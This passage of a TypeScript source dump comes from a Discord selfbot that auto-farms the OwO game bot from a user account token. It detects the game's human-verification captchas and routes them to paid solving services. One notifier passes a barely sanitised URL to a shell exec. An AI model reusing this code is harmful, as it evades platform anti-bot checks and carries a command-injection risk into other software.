Manages reading and writing JSON data to a file on disk. 11 | * 12 | * The `DataManager` class provides methods to persistently store and retrieve data 13 | * in a JSON file located at a specified path (defaulting to the user's home directory). 14 | * It ensures the data file and its parent directory exist before performing operations. 15 | * 16 | * @example 17 | * ```typescript 18 | * const manager = new DataManager(); 19 | * manager.write({ foo: "bar" }); 20 | * const data = manager.read(); 21 | * ``` 22 | * 23 | * @remarks 24 | * - Uses synchronous file operations for simplicity. 25 | * - Logs errors and info messages using a global `logger` object. 26 | * 27 | * @public 28 | */ 29 | export class DataManager { 30 | private readonly filePath: string; 31 | 32 | constructor( 33 | filePath = path.join(os.homedir(), "b2ki-ados", "data.json") // Default path to user's home directory 34 | ) { 35 | this.filePath = filePath; 36 | this.ensureFileExists(); 37 | } 38 | 39 | private ensureFileExists = () => { 40 | const dir = path.dirname(this.filePath); 41 | if (!fs.existsSync(dir)) { 42 | fs.mkdirSync(dir, { recursive: true }); 43 | } 44 | if (!fs.existsSync(this.filePath)) { 45 | fs.writeFileSync(this.filePath, JSON.stringify({}, null, 2)); 46 | } 47 | } 48 | 49 | public read = (): Record => { 50 | try { 51 | const data = fs.readFileSync(this.filePath, "utf-8"); 52 | return JSON.parse(data); 53 | } catch (error) { 54 | logger.error("Error reading data file:"); 55 | logger.error(error as Error); 56 | return {}; 57 | } 58 | } 59 | 60 | public write = (data: Record): void => { 61 | try { 62 | fs.writeFileSync(this.filePath, JSON.stringify(data, null, 2)); 63 | logger.info(t("system.messages.fileSaved", { filePath: this.filePath })); 64 | } catch (error) { 65 | logger.error("Error writing data file:"); 66 | logger.error(error as Error); 67 | } 68 | } 69 | } -------------------------------------------------------------------------------- /src/events/owoMessageCreate.ts: -------------------------------------------------------------------------------- 1 | import { CriticalEventHandler } from "@/handlers/CriticalEventHandler.js"; 2 | import { CaptchaService } from "@/services/CaptchaService.js"; 3 | import { Schematic } from "@/structure/Schematic.js"; 4 | import { NORMALIZE_REGEX } from "@/typings/constants.js"; 5 | import { logger } from "@/utils/logger.js"; 6 | 7 | export default Schematic.registerEvent({ 8 | name: "owoMessageEvent", 9 | event: "messageCreate", 10 | handler: async (params, message) => { 11 | const { agent, t, locale } = params; 12 | 13 | if (message.author.id !== agent.owoID) return; 14 | 15 | const normalizedContent = message.content.normalize("NFC").replace(NORMALIZE_REGEX, ""); 16 | 17 | const isForThisUser = message.channel.type === "DM" || 18 | normalizedContent.includes(message.client.user?.id!) || 19 | normalizedContent.includes(message.client.user?.username!) || 20 | normalizedContent.includes(message.client.user?.displayName!) || 21 | normalizedContent.includes(message.guild?.members.me?.displayName!); 22 | 23 | if (!isForThisUser) return; 24 | 25 | // 1. Check for Captcha 26 | if (/are you a real human|(check|verify) that you are.{1,3}human!/img.test(normalizedContent)) { 27 | logger.alert(`Captcha detected in channel: ${message.channel.type === "DM" 28 | ? message.channel.recipient.displayName 29 | : message.channel.name 30 | }!`); 31 | agent.captchaDetected = true; 32 | return CaptchaService.handleCaptcha({ agent, t, locale }, message); 33 | } 34 | 35 | // 2. Check for Captcha Success 36 | if (/verified that you are.{1,3}human!/igm.test(normalizedContent)) { 37 | logger.info(`CAPTCHA HAS BEEN RESOLVED, ${agent.config.autoResume ? "RESTARTING SELFBOT" : "STOPPING SELFBOT"}...`) 38 | if (!agent.config.autoResume) process.exit(0) 39 | agent.captchaDetected = false 40 | agent.farmLoop() 41 | } 42 | 43 | // 3. Check for Ban 44 | if (/have been banned/.test(normalizedContent)) { 45 | return CriticalEventHandler.handleBan(params); 46 | } 47 | 48 | // 4. Check for No Money 49 | if (normalizedContent.includes("You don't have enough cowoncy!")) { 50 | return CriticalEventHandler.handleNoMoney(params); 51 | } 52 | } 53 | }) -------------------------------------------------------------------------------- /src/commands/say.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { GuildTextBasedChannel } from "discord.js-selfbot-v13"; 3 | 4 | export default Schematic.registerCommand({ 5 | name: "say", 6 | description: "commands.say.description", 7 | usage: "say [#channel|channelId] ", 8 | execute: async ({ agent, message, t, args }) => { 9 | if (!args || !args.length) { 10 | return message.reply({ 11 | content: t("commands.say.noMessage") 12 | }); 13 | } 14 | 15 | let targetChannel = agent.activeChannel; 16 | let messageContent = args.join(" "); 17 | 18 | // Check if first argument is a channel mention or channel ID 19 | const firstArg = args[0]; 20 | if (firstArg) { 21 | const channelMention = firstArg.match(/^<#(\d+)>$/); 22 | const channelId = channelMention ? channelMention[1] : firstArg; 23 | 24 | // Try to find the channel 25 | if (channelId && /^\d+$/.test(channelId)) { 26 | const channel = message.guild?.channels.cache.get(channelId); 27 | if (channel && channel.isText()) { 28 | if (!channel.permissionsFor(agent.client.user!)?.has("SEND_MESSAGES")) { 29 | return message.reply(t("commands.common.errors.noPermission")); 30 | } 31 | 32 | targetChannel = channel; 33 | // Remove the channel argument from the message content 34 | messageContent = args.slice(1).join(" "); 35 | 36 | if (!messageContent.trim()) { 37 | return message.reply({ 38 | content: t("commands.say.noMessage") 39 | }); 40 | } 41 | } 42 | } 43 | } 44 | 45 | if (!targetChannel) { 46 | return message.reply({ 47 | content: t("commands.common.errors.invalidChannel") 48 | }); 49 | } 50 | 51 | // Set the target channel temporarily and send the message 52 | const originalChannel = agent.activeChannel; 53 | agent.activeChannel = targetChannel; 54 | await agent.send(messageContent); 55 | agent.activeChannel = originalChannel; 56 | 57 | message.reply({ 58 | content: t("commands.say.success") 59 | }); 60 | } 61 | }) -------------------------------------------------------------------------------- /src/structure/core/ConfigManager.ts: -------------------------------------------------------------------------------- 1 | import { ConfigSchema, Configuration } from "@/schemas/ConfigSchema.js"; 2 | 3 | import { DataManager } from "./DataManager.js"; 4 | 5 | /** 6 | * Manages application configuration data, providing methods to load, retrieve, update, and delete configuration entries. 7 | * 8 | * The `ConfigManager` class interacts with a `DataManager` to persist configuration data and uses a schema (`ConfigSchema`) 9 | * to validate configuration objects. All configuration entries are stored in-memory and changes are automatically saved. 10 | * 11 | * @example 12 | * const manager = new ConfigManager(); 13 | * manager.set('user123', { enabled: true }); 14 | * const config = manager.get('user123'); 15 | * manager.delete('user123'); 16 | * 17 | * @remarks 18 | * - All configuration values are validated against `ConfigSchema` before being stored. 19 | * - Changes are persisted immediately after set or delete operations. 20 | * 21 | * @public 22 | */ 23 | export class ConfigManager { 24 | private dataManager = new DataManager(); 25 | private configs: Record = {}; 26 | 27 | constructor() { 28 | this.loadAll(); 29 | } 30 | 31 | private loadAll = () => { 32 | const data = this.dataManager.read(); 33 | for (const key in data) { 34 | const result = ConfigSchema.safeParse(data[key]); 35 | if (result.success) { 36 | this.configs[key] = result.data; 37 | } 38 | } 39 | } 40 | 41 | public getAllKeys = (): string[] => { 42 | return Object.keys(this.configs); 43 | } 44 | 45 | public get = (key: string): Configuration | undefined => { 46 | return this.configs[key]; 47 | } 48 | 49 | public set = (key: string, value: Configuration): void => { 50 | const result = ConfigSchema.safeParse(value); 51 | if (!result.success) { 52 | throw new Error(`Invalid configuration for key "${key}": ${result.error.message}`); 53 | } 54 | this.configs[key] = result.data; 55 | this.saveAll(); 56 | } 57 | 58 | public delete = (key: string): boolean => { 59 | if (this.configs[key]) { 60 | delete this.configs[key]; 61 | this.saveAll(); 62 | return true; 63 | } 64 | return false; 65 | } 66 | 67 | private saveAll = (): void => { 68 | this.dataManager.write(this.configs); 69 | } 70 | } -------------------------------------------------------------------------------- /index.ts: -------------------------------------------------------------------------------- 1 | import { UpdateFeature } from "@/services/UpdateService.js"; 2 | import { BaseAgent } from "@/structure/BaseAgent.js"; 3 | import { ExtendedClient } from "@/structure/core/ExtendedClient.js"; 4 | import { InquirerUI } from "@/structure/InquirerUI.js"; 5 | import { logger } from "@/utils/logger.js"; 6 | import { confirm } from "@inquirer/prompts"; 7 | import yargs from "yargs"; 8 | import { hideBin } from "yargs/helpers"; 9 | import packageJSON from "./package.json" with { type: "json" }; 10 | import { Locale } from "@/utils/locales.js"; 11 | 12 | process.title = `Advanced Discord OwO Tool Farm v${packageJSON.version} - Copyright 2025 © Elysia x Kyou Izumi`; 13 | console.clear(); 14 | 15 | const updateFeature = new UpdateFeature(); 16 | const client = new ExtendedClient(); 17 | 18 | const argv = await yargs(hideBin(process.argv)) 19 | .scriptName("adotf") 20 | .usage("$0 [options]") 21 | .commandDir("./src/cli", { 22 | extensions: ["ts", "js"], 23 | }) 24 | .option("verbose", { 25 | alias: "v", 26 | type: "boolean", 27 | description: "Enable verbose logging", 28 | default: false, 29 | }) 30 | .option("skip-check-update", { 31 | alias: "s", 32 | type: "boolean", 33 | description: "Skip the update check", 34 | default: false, 35 | }) 36 | .option("language", { 37 | alias: "l", 38 | type: "string", 39 | description: "Set the language for the application", 40 | choices: ["en", "tr", "vi"], 41 | default: "en", 42 | }) 43 | .help() 44 | .epilogue(`For more information, visit ${packageJSON.homepage}`) 45 | .parse(); 46 | 47 | logger.setLevel(argv.verbose || process.env.NODE_ENV === "development" ? "debug" : "sent"); 48 | process.env.LOCALE = argv.language as Locale || "en"; 49 | 50 | if (!argv._.length) { 51 | if (!argv.skipCheckUpdate) { 52 | const updateAvailable = await updateFeature.checkForUpdates(); 53 | if (updateAvailable) { 54 | const shouldUpdate = await confirm({ 55 | message: "An update is available. Do you want to update now?", 56 | default: true, 57 | }); 58 | if (shouldUpdate) { 59 | await updateFeature.performUpdate(); 60 | } 61 | } 62 | await client.sleep(1000); // Wait for update to complete 63 | } 64 | 65 | const { config } = await InquirerUI.prompt(client); 66 | await BaseAgent.initialize(client, config); 67 | } 68 | -------------------------------------------------------------------------------- /src/utils/download.ts: -------------------------------------------------------------------------------- 1 | import AdmZip from "adm-zip"; 2 | import axios from "axios"; 3 | 4 | /** 5 | * Downloads an attachment from the specified URL and returns its contents as a Buffer. 6 | * 7 | * @param url - The URL of the attachment to download. 8 | * @returns A promise that resolves to a Buffer containing the downloaded data. 9 | * @throws Will throw an error if the HTTP request fails. 10 | */ 11 | export const downloadAttachment = async (url: string): Promise => { 12 | const response = await axios.get(url, { 13 | responseType: "arraybuffer", 14 | headers: { 15 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3", 16 | "Content-Type": "application/octet-stream", 17 | }, 18 | }); 19 | return Buffer.from(response.data, "binary"); 20 | }; 21 | 22 | 23 | /** 24 | * Downloads a repository from the specified URL and returns its contents as an AdmZip instance. 25 | * 26 | * @param repoUrl - The URL of the repository to download (should point to a ZIP archive). 27 | * @returns A promise that resolves to an AdmZip instance containing the downloaded repository. 28 | * @throws Will throw an error if the download fails or the response is invalid. 29 | */ 30 | export const downloadRepository = async (repoUrl: string): Promise => { 31 | const response = await axios.get(repoUrl, { 32 | responseType: "arraybuffer", 33 | headers: { 34 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36", 35 | "Accept": "application/vnd.github.v3+json", 36 | }, 37 | }); 38 | 39 | return new AdmZip(Buffer.from(response.data)); 40 | }; 41 | 42 | /** 43 | * Downloads a repository as a ZIP file from the given URL, extracts its contents to the specified path, 44 | * and returns the name of the extracted folder or entry. 45 | * 46 | * @param repoUrl - The URL of the repository to download. 47 | * @param extractPath - The local file system path where the repository should be extracted. 48 | * @returns A promise that resolves to the name of the extracted folder or entry, or an empty string if extraction fails. 49 | */ 50 | export const downloadAndExtractRepo = async (repoUrl: string, extractPath: string): Promise => { 51 | const zip = await downloadRepository(repoUrl); 52 | zip.extractAllTo(extractPath, true); 53 | 54 | // Return the extracted folder name 55 | const entries = zip.getEntries(); 56 | return entries[0]?.entryName || ""; 57 | }; -------------------------------------------------------------------------------- /src/commands/reload.ts: -------------------------------------------------------------------------------- 1 | import commandsHandler from "@/handlers/commandsHandler.js"; 2 | import featuresHandler from "@/handlers/featuresHandler.js"; 3 | import { Schematic } from "@/structure/Schematic.js"; 4 | import { logger } from "@/utils/logger.js"; 5 | 6 | const VALID_TARGETS = ["config", "commands", "features", "all"] as const; 7 | type ReloadTarget = typeof VALID_TARGETS[number]; 8 | 9 | export default Schematic.registerCommand({ 10 | name: "reload", 11 | description: "commands.reload.description", 12 | usage: "reload ", 13 | execute: async ({ agent, message, t, locale, args }) => { 14 | const target = args?.[0]?.toLowerCase() as ReloadTarget; 15 | const params = { agent, t, locale }; 16 | 17 | if (!target || !VALID_TARGETS.includes(target)) { 18 | return message.reply({ 19 | content: t("commands.reload.noTarget") 20 | }); 21 | } 22 | 23 | try { 24 | const result = await executeReload(target, agent, params, t); 25 | message.reply({ content: result }); 26 | } catch (error) { 27 | logger.error(`Reload failed for ${target}:`); 28 | logger.error(error as Error); 29 | message.reply({ 30 | content: t("commands.reload.error", { target, error: String(error).slice(0, 500) }) 31 | }); 32 | } 33 | } 34 | }); 35 | 36 | async function executeReload(target: ReloadTarget, agent: any, params: any, t: any): Promise { 37 | switch (target) { 38 | case "config": 39 | agent.reloadConfig(); 40 | return t("commands.reload.success.config"); 41 | 42 | case "commands": 43 | await commandsHandler.run(params); 44 | return t("commands.reload.success.commands", { count: agent.commands.size }); 45 | 46 | case "features": 47 | await featuresHandler.run(params); 48 | return t("commands.reload.success.features", { count: agent.features.size }); 49 | 50 | case "all": 51 | await Promise.all([ 52 | commandsHandler.run(params), 53 | featuresHandler.run(params), 54 | Promise.resolve(agent.reloadConfig()) 55 | ]); 56 | return t("commands.reload.success.all", { 57 | commandCount: agent.commands.size, 58 | featureCount: agent.features.size 59 | }); 60 | 61 | default: 62 | throw new Error(`Unknown target: ${target}`); 63 | } 64 | } -------------------------------------------------------------------------------- /src/services/NotificationService.ts: -------------------------------------------------------------------------------- 1 | import { BaseParams, FeatureFnParams, NotificationPayload, NotifierStrategy } from "@/typings/index.js"; 2 | import { logger } from "@/utils/logger.js"; 3 | import { WebhookNotifier } from "./notifiers/WebhookNotifier.js"; 4 | import { MessageNotifier } from "./notifiers/MessageNotifier.js"; 5 | import { CallNotifier } from "./notifiers/CallNotifier.js"; 6 | import { SoundNotifier } from "./notifiers/SoundNotifier.js"; 7 | import { PopupNotifier } from "./notifiers/PopupNotifier.js"; 8 | import { formatTime } from "@/utils/time.js"; 9 | 10 | export class NotificationService { 11 | private strategies: Map; 12 | 13 | constructor() { 14 | this.strategies = new Map([ 15 | ["webhook", new WebhookNotifier()], 16 | ["dms", new MessageNotifier()], 17 | ["call", new CallNotifier()], 18 | ["music", new SoundNotifier()], 19 | ["popup", new PopupNotifier()], 20 | ]); 21 | } 22 | 23 | public async notify(params: FeatureFnParams, payload: NotificationPayload): Promise { 24 | const enabledNotifiers = params.agent.config.wayNotify; 25 | logger.debug(`Sending notification to: ${enabledNotifiers.join(", ")}`); 26 | 27 | const notificationPromises = enabledNotifiers.map(async notifierName => { 28 | const strategy = this.strategies.get(notifierName); 29 | if (strategy) { 30 | // Wrap in a promise to catch any synchronous errors in execute 31 | try { 32 | return await Promise.resolve(strategy.execute(params, payload)); 33 | } catch (err) { 34 | logger.error(`Unhandled error in ${notifierName} notifier:`); 35 | logger.error(err as Error); 36 | } 37 | } 38 | logger.warn(`Unknown notifier specified in config: ${notifierName}`); 39 | return Promise.resolve(); 40 | }); 41 | 42 | await Promise.all(notificationPromises); 43 | } 44 | 45 | public static consoleNotify({ agent, t }: FeatureFnParams): void { 46 | logger.data(t("status.total.texts", { count: agent.totalTexts })); 47 | logger.data(t("status.total.commands", { count: agent.totalCommands })); 48 | logger.data(t("status.total.captchaSolved", { count: agent.totalCaptchaSolved })); 49 | logger.data(t("status.total.captchaFailed", { count: agent.totalCaptchaFailed })); 50 | logger.data(t("status.total.uptime", { duration: formatTime(agent.client.readyTimestamp, Date.now()) })); 51 | } 52 | } -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # SECURITY.md 2 | 3 | ## Warning: Be Aware of Dangerous Repositories 4 | 5 | The purpose of this file is to raise awareness about malicious or dangerous repositories that you should avoid. These repositories may contain harmful code, vulnerabilities, or other malicious content that can compromise your systems or data. 6 | 7 | ![Imgur](https://i.imgur.com/s6kyW8T.png) 8 | 9 | ### Why This Matters 10 | Malicious repositories can: 11 | - Contain malware or malicious scripts. 12 | - Steal sensitive information like API keys, passwords, or private data. 13 | - Include backdoors that compromise your infrastructure. 14 | - Spread misinformation or impersonate legitimate projects. 15 | 16 | ### How to Identify Dangerous Repositories 17 | 1. **Check the Author**: Verify the repository's owner or organization. Look for well-known and trusted sources. 18 | 2. **Look for Signs of Impersonation**: Be cautious of repositories that mimic popular projects but with slight name changes or fewer stars. 19 | 3. **Analyze the Code**: Review the code for anything suspicious, such as obfuscated scripts or unexpected network requests. 20 | 4. **Avoid Obfuscated Files**: Be wary of repositories that heavily rely on obfuscated or minified code without providing the source. 21 | 5. **Check Issues and Discussions**: Look for reports of malicious activity or unusual behavior in the repository's issue tracker or discussions. 22 | 23 | ### Recommendations for Safety 24 | - **Clone Trusted Sources Only**: Always verify that the repository is from a trusted source before cloning. 25 | - **Use Sandboxed Environments**: Test new repositories in isolated environments, such as containers or virtual machines. 26 | - **Enable Security Scans**: Use automated tools to scan repositories for vulnerabilities or malicious code. 27 | - **Keep Software Up-to-Date**: Ensure your operating system and tools are up-to-date with the latest security patches. 28 | 29 | ### Known Dangerous Repositories and Tools 30 | The following is a list of known dangerous repositories/tools you should avoid: 31 | 32 | 1. [**Mid0aria/owofarmbot_stable**](https://github.com/Kyou-Izumi/advanced-discord-owo-tool-farm/blob/main/doc/security/README.md): Installing Grabbers to steal user information 33 | - Further information: [Here](https://github.com/Kyou-Izumi/advanced-discord-owo-tool-farm/blob/main/doc/security/%5BMid0aria%5D%20owofarmbot_stable/README.md) 34 | - Verified analytical article: [OwO Farm Bot is harmful and if you use it, there's a 99% chance that you'll get infected by it](https://www.reddit.com/r/Discord_selfbots/comments/1hlcmid/owo_farm_bot_is_harmful_and_if_you_use_it_theres/) 35 | 36 | ### Reporting Suspicious Repositories 37 | If you encounter a repository that you believe is dangerous, report it to the hosting platform (e.g., GitHub, GitLab) and inform others in the community. 38 | 39 | For GitHub, you can report abuse [here](https://github.com/contact/report-abuse). 40 | 41 | ### Disclaimer 42 | This document is not exhaustive, and new threats emerge constantly. Always exercise caution and follow best practices when interacting with code repositories. 43 | -------------------------------------------------------------------------------- /src/commands/send.ts: -------------------------------------------------------------------------------- 1 | import { Schematic } from "@/structure/Schematic.js"; 2 | import { MessageActionRow, MessageButton } from "discord.js-selfbot-v13"; 3 | 4 | export default Schematic.registerCommand({ 5 | name: "send", 6 | description: "commands.send.description", 7 | usage: "send ", 8 | execute: async ({ agent, message, t, args }) => { 9 | if (!message.guild) { 10 | return message.reply({ 11 | content: t("commands.common.errors.guildOnly") 12 | }); 13 | } 14 | 15 | if (!args || args.length < 2) { 16 | return message.reply({ 17 | content: t("commands.send.noMessage") 18 | }); 19 | } 20 | 21 | const [user, amount] = args; 22 | 23 | if (!user || !/^<@!?(\d+)>$/.test(user)) { 24 | return message.reply({ 25 | content: t("commands.send.invalidUser") 26 | }); 27 | } 28 | 29 | const guildMember = message.guild.members.cache.get(message.mentions.users.first()?.id || user.replace(/<@!?(\d+)>/, "$1")); 30 | if (!guildMember) { 31 | return message.reply({ 32 | content: t("commands.send.invalidUser") 33 | }); 34 | } 35 | 36 | if (!amount || isNaN(Number(amount)) || Number(amount) <= 0) { 37 | return message.reply({ 38 | content: t("commands.send.invalidAmount") 39 | }); 40 | } 41 | 42 | try { 43 | const response = await agent.awaitResponse({ 44 | trigger: () => agent.send(`owo give ${user} ${amount}`), 45 | filter: msg => msg.author.id === agent.owoID 46 | && msg.embeds.length > 0 47 | && !!msg.embeds[0].author?.name.includes(msg.guild?.members.me?.displayName!) 48 | && !!msg.embeds[0].author.name.includes(guildMember.displayName) 49 | && msg.components.length > 0 50 | && msg.components[0].type === "ACTION_ROW" 51 | && (msg.components[0] as MessageActionRow).components[0].type === "BUTTON", 52 | time: 15000 53 | }); 54 | 55 | if (!response) { 56 | return message.reply({ 57 | content: t("commands.common.errors.noResponse") 58 | }); 59 | } 60 | 61 | const button = (response.components[0] as MessageActionRow).components[0] as MessageButton; 62 | if (!button || button.type !== "BUTTON" || !button.customId) throw new Error("Invalid button response"); 63 | 64 | await response.clickButton(button.customId); 65 | 66 | message.reply({ 67 | content: t("commands.send.success", { amount, user }) 68 | }); 69 | } catch (error) { 70 | message.reply({ 71 | content: t("commands.send.error", { error: String(error).slice(0, 1000) }) 72 | }); 73 | } 74 | } 75 | }); -------------------------------------------------------------------------------- /src/structure/core/BasePrompter.ts: -------------------------------------------------------------------------------- 1 | import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts"; 2 | 3 | type InquirerPrompt = (options: TOptions) => Promise; 4 | 5 | /** 6 | * Abstract base class for creating interactive command-line prompts. 7 | * 8 | * Provides utility methods for common prompt types such as confirmation, input, single selection, and multiple selection. 9 | * Designed to be extended by concrete prompter implementations. 10 | * 11 | * @template TValue The type of value returned by the prompt. 12 | * @template TOptions The type of options accepted by the prompt. 13 | * 14 | * @method ask 15 | * Prompts the user with a custom prompt function and options. 16 | * Optionally displays documentation before prompting. 17 | * 18 | * @method trueFalse 19 | * Prompts the user with a yes/no (boolean) confirmation. 20 | * 21 | * @method getInput 22 | * Prompts the user for a string input, with optional default value, validation, and documentation. 23 | * 24 | * @method getSelection 25 | * Prompts the user to select a single value from a list of choices. 26 | * 27 | * @method getMultipleSelection 28 | * Prompts the user to select multiple values from a list of choices. 29 | */ 30 | export abstract class BasePrompter { 31 | constructor() { } 32 | 33 | protected ask = ( 34 | prompt: InquirerPrompt, 35 | options: TOptions, 36 | doc?: string 37 | ): Promise => { 38 | console.clear(); 39 | if (doc) console.log(doc); 40 | return prompt(options); 41 | } 42 | 43 | public trueFalse = ( 44 | message: string, 45 | defaultValue: boolean = true 46 | ): Promise => 47 | this.ask(confirm, { 48 | message, 49 | default: defaultValue, 50 | }); 51 | 52 | public getInput = ( 53 | message: string, 54 | defaultValue?: string, 55 | validate?: (input: string) => boolean | string, 56 | documentation?: string 57 | ): Promise => 58 | this.ask(input, { 59 | message, 60 | default: defaultValue, 61 | validate, 62 | }, documentation); 63 | 64 | public getSelection = ( 65 | message: string, 66 | choices: Array<{ name: string; value: T; disabled?: boolean | string } | Separator>, 67 | defaultValue?: T, 68 | documentation?: string 69 | ): Promise => 70 | this.ask(select, { 71 | message, 72 | choices, 73 | default: defaultValue, 74 | }, documentation); 75 | 76 | public getMultipleSelection = ( 77 | message: string, 78 | choices: Array<{ name: string; value: T; checked?: boolean }>, 79 | defaultValue?: T[], 80 | documentation?: string 81 | ): Promise => 82 | this.ask(checkbox, { 83 | message, 84 | choices, 85 | default: defaultValue, 86 | }, documentation); 87 | } -------------------------------------------------------------------------------- /src/handlers/CriticalEventHandler.ts: -------------------------------------------------------------------------------- 1 | import { NotificationService } from "@/services/NotificationService.js"; 2 | import { FeatureFnParams } from "@/typings/index.js"; 3 | import { t } from "@/utils/locales.js"; 4 | import { logger } from "@/utils/logger.js"; 5 | 6 | export class CriticalEventHandler { 7 | public static handleRejection(params: FeatureFnParams) { 8 | process.on("unhandledRejection", (reason, promise) => { 9 | logger.runtime("Unhandled Rejection at:"); 10 | logger.runtime(`Promise: ${promise}`); 11 | logger.runtime(`Reason: ${reason}`); 12 | }); 13 | 14 | process.on("uncaughtException", (error) => { 15 | logger.error("Uncaught Exception:"); 16 | logger.error(error) 17 | // Optionally, you can notify the user or log to a file 18 | // consoleNotify("Uncaught Exception", `Error: ${error.message}\nStack: ${error.stack}`); 19 | }); 20 | 21 | process.on("SIGINT", () => { 22 | logger.info(t("events.sigint")); 23 | NotificationService.consoleNotify(params); 24 | // Optionally, you can notify the user or log to a file 25 | // consoleNotify("Stopping Selfbot", "Received SIGINT. Stopping selfbot..."); 26 | process.exit(0); 27 | }); 28 | 29 | process.on("SIGTERM", () => { 30 | logger.info(t("events.sigterm")); 31 | NotificationService.consoleNotify(params); 32 | 33 | process.exit(0); 34 | }); 35 | } 36 | 37 | public static handleBan({ t }: FeatureFnParams) { 38 | logger.alert(`${t("status.states.banned")}, ${t("status.states.stop")}`); 39 | // consoleNotify(...) 40 | process.exit(-1); 41 | } 42 | 43 | public static async handleNoMoney(params: FeatureFnParams) { 44 | const { agent, t } = params; 45 | if (agent.config.autoSell) { 46 | logger.warn(t("handlers.criticalEvent.noMoney.attemptingSell")); 47 | 48 | const sellResponse = await agent.awaitResponse({ 49 | trigger: () => agent.send("sell all"), 50 | filter: (msg) => msg.author.id === agent.owoID && msg.content.includes(msg.guild?.members.me?.displayName!) 51 | && (/sold.*for a total of/.test(msg.content) || msg.content.includes("You don't have enough animals!")), 52 | }) 53 | 54 | if (!sellResponse) { 55 | logger.error("Failed to sell items. No response received."); 56 | return; 57 | } 58 | 59 | if (/sold.*for a total of/.test(sellResponse.content)) { 60 | logger.data(sellResponse.content.replace(//g, '$1').replace("**", "")); // Replace emojis with their names 61 | } else { 62 | logger.warn(t("handlers.criticalEvent.noMoney.noItems")); 63 | NotificationService.consoleNotify(params); 64 | process.exit(-1); 65 | } 66 | } else { 67 | logger.warn(t("handlers.criticalEvent.noMoney.autoSellDisabled")); 68 | NotificationService.consoleNotify(params); 69 | process.exit(-1); 70 | } 71 | } 72 | } -------------------------------------------------------------------------------- /src/services/notifiers/PopupNotifier.ts: -------------------------------------------------------------------------------- 1 | import { FeatureFnParams, NotificationPayload, NotifierStrategy } from "@/typings/index.js"; 2 | import { logger } from "@/utils/logger.js"; 3 | import notifier from "node-notifier"; 4 | import path from "node:path"; 5 | import { exec, spawn } from "node:child_process"; 6 | 7 | export class PopupNotifier implements NotifierStrategy { 8 | public async execute({ }: FeatureFnParams, payload: NotificationPayload): Promise { 9 | // Don't show popups for normal-urgency notifications 10 | if (payload.urgency === "normal") { 11 | return; 12 | } 13 | 14 | try { 15 | if (process.platform === "android") { 16 | this.handleTermuxPopup(payload); 17 | } else { 18 | this.handleDesktopPopup(payload); 19 | } 20 | } catch (error) { 21 | logger.error("Failed to display popup notification:"); 22 | logger.error(error as Error) 23 | } 24 | } 25 | 26 | private handleTermuxPopup(payload: NotificationPayload): void { 27 | const args = [ 28 | "--title", payload.title, 29 | "--content", payload.description, 30 | "--priority", "high", 31 | "--sound", 32 | "--vibrate", "1000", 33 | "--id", "owo-farm-captcha", // Consistent ID 34 | ]; 35 | 36 | if (payload.sourceUrl) { 37 | args.push("--action", `termux-open-url ${payload.sourceUrl}`); 38 | } 39 | 40 | const child = spawn("termux-notification", args); 41 | child.unref(); 42 | } 43 | 44 | private handleDesktopPopup(payload: NotificationPayload): void { 45 | notifier.notify( 46 | { 47 | title: payload.title, 48 | message: payload.description, 49 | icon: path.resolve(process.cwd(), "assets/icon.png"), // Use a local asset 50 | wait: true, // Wait for user action 51 | ...this.getPlatformSpecificOptions(), 52 | }, 53 | (err, response) => { 54 | if (err) { 55 | logger.error("node-notifier callback error:"); 56 | logger.error(err as Error); 57 | return; 58 | } 59 | // If the notification was clicked (not dismissed or timed out) and has a URL, open it. 60 | if (response !== "dismissed" && response !== "timeout" && payload.sourceUrl) { 61 | const openCommand = this.getOpenCommand(payload.sourceUrl); 62 | exec(openCommand).unref(); 63 | } 64 | } 65 | ); 66 | } 67 | 68 | private getPlatformSpecificOptions(): notifier.Notification & { [key: string]: any } { 69 | if (process.platform === "win32") { 70 | return { 71 | sound: "Notification.Looping.Call", // A more urgent sound for Windows 72 | appID: "Advanced OwO Tool Farm", 73 | }; 74 | } 75 | if (process.platform === "darwin") { 76 | return { sound: true }; 77 | } 78 | return {}; // Default for Linux etc. 79 | } 80 | 81 | private getOpenCommand(url: string): string { 82 | const sanitizedUrl = url.replace(/"/g, ""); // Basic sanitization 83 | switch (process.platform) { 84 | case "win32": 85 | return `start "" "${sanitizedUrl}"`; 86 | case "darwin": 87 | return `open "${sanitizedUrl}"`; 88 | default: // Linux and others 89 | return `xdg-open "${sanitizedUrl}"`; 90 | } 91 | } 92 | } -------------------------------------------------------------------------------- /src/schemas/ConfigSchema.ts: -------------------------------------------------------------------------------- 1 | import { z } from "zod/v4"; 2 | 3 | export const ConfigSchema = z.object({ 4 | username: z.string().optional(), 5 | token: z.string().refine(value => value.split(".").length === 3, { 6 | error: "Token must have three parts separated by dots" 7 | }), 8 | guildID: z.string(), 9 | channelID: z.array(z.string()).min(1, { 10 | error: "At least one channel ID is required" 11 | }), 12 | wayNotify: z.array(z.enum([ 13 | "webhook", 14 | "dms", 15 | "call", 16 | "music", 17 | "popup" 18 | ])).default([]), 19 | webhookURL: z.url().optional(), 20 | adminID: z.string().optional(), 21 | musicPath: z.string().optional(), 22 | prefix: z.string().optional(), 23 | captchaAPI: z.enum(["2captcha", "yescaptcha"]).optional(), 24 | apiKey: z.string().optional(), 25 | autoHuntbot: z.boolean().default(true), 26 | autoTrait: z.enum([ 27 | "efficiency", 28 | "duration", 29 | "cost", 30 | "gain", 31 | "experience", 32 | "radar" 33 | ]).optional(), 34 | useAdotfAPI: z.boolean().default(true).optional(), 35 | autoPray: z.array(z.string()).default(["pray"]), 36 | autoGem: z.union([z.literal(0), z.literal(-1), z.literal(1)]).default(0), 37 | gemTier: z.array(z.enum([ 38 | "common", 39 | "uncommon", 40 | "rare", 41 | "epic", 42 | "mythical", 43 | "legendary", 44 | "fabled" 45 | ])).default([ 46 | "common", 47 | "uncommon", 48 | "rare", 49 | "epic", 50 | "mythical", 51 | ]).optional(), 52 | useSpecialGem: z.boolean().default(false).optional(), 53 | autoLootbox: z.boolean().default(true).optional(), 54 | autoFabledLootbox: z.boolean().default(false).optional(), 55 | autoQuote: z.array(z.enum([ 56 